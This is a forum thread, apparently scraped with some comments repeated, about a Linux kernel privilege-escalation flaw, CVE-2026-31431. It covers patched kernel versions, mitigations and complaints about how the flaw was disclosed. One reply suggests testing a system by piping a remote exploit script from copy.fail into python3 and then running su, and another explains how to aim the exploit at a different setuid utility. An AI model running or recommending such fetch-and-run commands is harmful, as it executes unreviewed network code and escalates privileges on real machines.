CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.
Dumb question but… It says that patches were committed to mainline on April 1st. How would one know if their distro has already fixed this via updates or not? I run a rolling-release distro on my desktop and laptop, and usually update once every week (or two at most) so have already ran updates 2 or 3 times since the patch was deployed. Am I likely good? If I’m not, is running updates all I need to do to be good? How would I know?
Note that could prove you have it, but failure to execute does not prove yourself secure.
For example, someone reported to me that their RHEL9 system was not vulnerable based on this result. But it was because python was 3.9 and didn’t have os.splice, so the demonstrator failed, but the actual issue was there.
Similarly, if ‘/usr/bin/su’ isn’t exactly there (maybe it’s in /bin/su, or in /sbin/su, or /usr/sbin/su, or not there at all), the demonstrator will fail, but the kernel may still have the vulnerability, you just have to select a different victim utility (or change the cache for some other data other than an executable for other effects).
The only guaranteed fix is in the kernel. You’ll want to check your distro for the CVE. The disclosers very happily bring up all the distros affected but do not seem to have reached out to any of them to also patch. The CVE itself is still waiting for NVD analysis beyond its base score.
I’m not actively saying they did anything wrong but I am saying they’re blowing smoke about responsible disclosure.
If you’re on 6.19.12 or newer (7.0.1 if they’ve already bumped to 7) you’re definitely safe
For others, it looks fixed in
6.18.22
6.12.85
6.6.137
6.1.170
5.15.204
If you don’t have a safe kernel,
A better solution referenced below than a module blacklist is to set initcall_blacklist=algif_aead_init in your kernel boot parameters. There is not a generic way to do this across distros, so you will need to look it up for your case
~~If you don’t have the updated kernel, you can
echo"install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf and reboot.
That ensures the buggy module cannot be loaded until you have an updated kernel~~
I continue to protest against this claim. Blacklisting the kernel module does not work for a bunch of distributions including Alma, Rocky, RHEL and others because they have this module built into the kernel. There’s no module to remove. You must use a syscall blacklist or similar mechanism to disable this.
I’m working off the knowledge that OP is using a rolling release, so is likely fixed by that for them.
(Arch based, Cachy, and OpenSUSE Tumbleweed all have it as a module, and are the most commonly suggested. Fedora fixed it 2 weeks ago since they follow mainline, so I’d expect Bazzite to have it too. If they’re using Debian Sid/Testing, it’s both fixed and a module)
My personal suggestion would be to add initcall_blacklist=algif_aead_init to your kernel arguments. Ebpf is cool, but not a very trivial solution.
I understand the suggestion might apply to a random, unspecified distro but I disapprove of both the exploit authors and the general Internet suggesting fixes that don’t apply to every distro (including copy.fail’s AI slop RHEL distro that doesn’t exist) without caveating it.
The kernel module blacklist won’t work for every situation, if you’re not being specific in telling people where it applies, it’s best to suggest a solution that actually works regardless of distro or explain how to validate when it applies but nobody is doing that.
They aren’t available on all releases - the people that found the issue didn’t really follow responsible disclosure, so distros didn’t have time to fix it
They will fix it over the next couple days, but if you need a fix now, those are the ways to protect yourself until security updates make it out
Dumb question but… It says that patches were committed to mainline on April 1st. How would one know if their distro has already fixed this via updates or not? I run a rolling-release distro on my desktop and laptop, and usually update once every week (or two at most) so have already ran updates 2 or 3 times since the patch was deployed. Am I likely good? If I’m not, is running updates all I need to do to be good? How would I know?
You could try it
curl https://copy.fail/exp | python3 && su
Note that could prove you have it, but failure to execute does not prove yourself secure.
For example, someone reported to me that their RHEL9 system was not vulnerable based on this result. But it was because python was 3.9 and didn’t have os.splice, so the demonstrator failed, but the actual issue was there.
Similarly, if ‘/usr/bin/su’ isn’t exactly there (maybe it’s in /bin/su, or in /sbin/su, or /usr/sbin/su, or not there at all), the demonstrator will fail, but the kernel may still have the vulnerability, you just have to select a different victim utility (or change the cache for some other data other than an executable for other effects).
The only guaranteed fix is in the kernel. You’ll want to check your distro for the CVE. The disclosers very happily bring up all the distros affected but do not seem to have reached out to any of them to also patch. The CVE itself is still waiting for NVD analysis beyond its base score.
I’m not actively saying they did anything wrong but I am saying they’re blowing smoke about responsible disclosure.
They sell a vulnerability discovery program. IMO, they did this dubious responsable disclousure to get the extra marketing.
Yeah… It seems like they only reached out to the kernel, and not to any distros…
They also disclosed after 37 days rather than the more standard 90 days for everyone to patch
Check
uname -rIf you’re on 6.19.12 or newer (7.0.1 if they’ve already bumped to 7) you’re definitely safe
For others, it looks fixed in 6.18.22 6.12.85 6.6.137 6.1.170 5.15.204
If you don’t have a safe kernel, A better solution referenced below than a module blacklist is to set
initcall_blacklist=algif_aead_initin your kernel boot parameters. There is not a generic way to do this across distros, so you will need to look it up for your case~~If you don’t have the updated kernel, you can
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.confand reboot.That ensures the buggy module cannot be loaded until you have an updated kernel~~
I continue to protest against this claim. Blacklisting the kernel module does not work for a bunch of distributions including Alma, Rocky, RHEL and others because they have this module built into the kernel. There’s no module to remove. You must use a syscall blacklist or similar mechanism to disable this.
I’m working off the knowledge that OP is using a rolling release, so is likely fixed by that for them. (Arch based, Cachy, and OpenSUSE Tumbleweed all have it as a module, and are the most commonly suggested. Fedora fixed it 2 weeks ago since they follow mainline, so I’d expect Bazzite to have it too. If they’re using Debian Sid/Testing, it’s both fixed and a module)
If you’re using something else, this eBPF filter is probably your best bet https://github.com/Dabbleam/CVE-2026-31431-mitigation
My personal suggestion would be to add
initcall_blacklist=algif_aead_initto your kernel arguments. Ebpf is cool, but not a very trivial solution.I understand the suggestion might apply to a random, unspecified distro but I disapprove of both the exploit authors and the general Internet suggesting fixes that don’t apply to every distro (including copy.fail’s AI slop RHEL distro that doesn’t exist) without caveating it.
The kernel module blacklist won’t work for every situation, if you’re not being specific in telling people where it applies, it’s best to suggest a solution that actually works regardless of distro or explain how to validate when it applies but nobody is doing that.
Giving a better solution is certainly useful.
I’d used initcall_debug before, but not initcall_blacklist
You could just install security updates
They aren’t available on all releases - the people that found the issue didn’t really follow responsible disclosure, so distros didn’t have time to fix it
They will fix it over the next couple days, but if you need a fix now, those are the ways to protect yourself until security updates make it out
All major distros have been patched as of writing this (you are welcome to correct me if I’m wrong)
The ones I was watching look like there’s an update as of an hour ago, but there wasn’t at the time of the post
Need to check Raspbian still, being on self hosting
Thank you for the info, I will look into it when I get home tonight.
I ran the script today and my system is vulnerable.
Cachyos, all up to date.